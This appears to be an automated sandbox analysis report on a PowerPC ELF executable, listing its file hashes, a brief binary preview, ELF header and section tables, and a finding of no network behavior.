          File name:2EH9KnMcj7
          File size:111824
          MD5:85455cd1f6a69942e7432acdb3b15d70
          SHA1:b3e68c30a45963c609e8d8f601cbc0e60e8181a6
          SHA256:d56021eaf57dc41b3e3525d8137c2fd7055d54cdfc989e7bb5a571bea3cd2a52
          SHA512:b3142ece0db1c3da7b554fe1fff59ca5291d8eb1eb82a0e2cd15dea3c28e702044076aff5a0fd118848ef976e9f67398dba548bf35dc1de5bc6225f8a6c1cb21
          SSDEEP:1536:u9VNNEGM7DTUWD4n8QQG42dehW7kXQkVjEIl5mEk2x/:uRNBMbMnzZe0eBjEI9
          TLSH:CEB33B02B7588B4BF9961DB5283F2BC143AFEE8021B0B1C5A98FD60E4175E73255ADCD
          File Content Preview:.ELF...........................4.........4. ...(....................................................................dt.Q.............................!..|......$H...H.~)...$8!. |...N.. .!..|.......?.............../...@..\?........+../...A..$8...})......N..

          ELF header

          Class:ELF32
          Data:2's complement, big endian
          Version:1 (current)
          Machine:PowerPC
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x100001f0
          Flags:0x0
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:3
          Section Header Offset:111344
          Section Header Size:40
          Number of Section Headers:12
          Header String Table Index:11
          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x100000940x940x240x00x6AX004
          .textPROGBITS0x100000b80xb80x17e800x00x6AX004
          .finiPROGBITS0x10017f380x17f380x200x00x6AX004
          .rodataPROGBITS0x10017f580x17f580x2db40x00x2A004
          .ctorsPROGBITS0x1002b0000x1b0000x80x00x3WA004
          .dtorsPROGBITS0x1002b0080x1b0080x80x00x3WA004
          .dataPROGBITS0x1002b0180x1b0180x26c0x00x3WA008
          .sdataPROGBITS0x1002b2840x1b2840x200x00x3WA004
          .sbssNOBITS0x1002b2a40x1b2a40x1140x00x3WA004
          .bssNOBITS0x1002b3b80x1b2a40x95c0x00x3WA004
          .shstrtabSTRTAB0x00x1b2a40x4b0x00x0001
          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          LOAD0x00x100000000x100000000x1ad0c0x1ad0c6.53700x5R E0x10000.init .text .fini .rodata
          LOAD0x1b0000x1002b0000x1002b0000x2a40xd142.98030x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
          GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
          No network behavior found

          System Behavior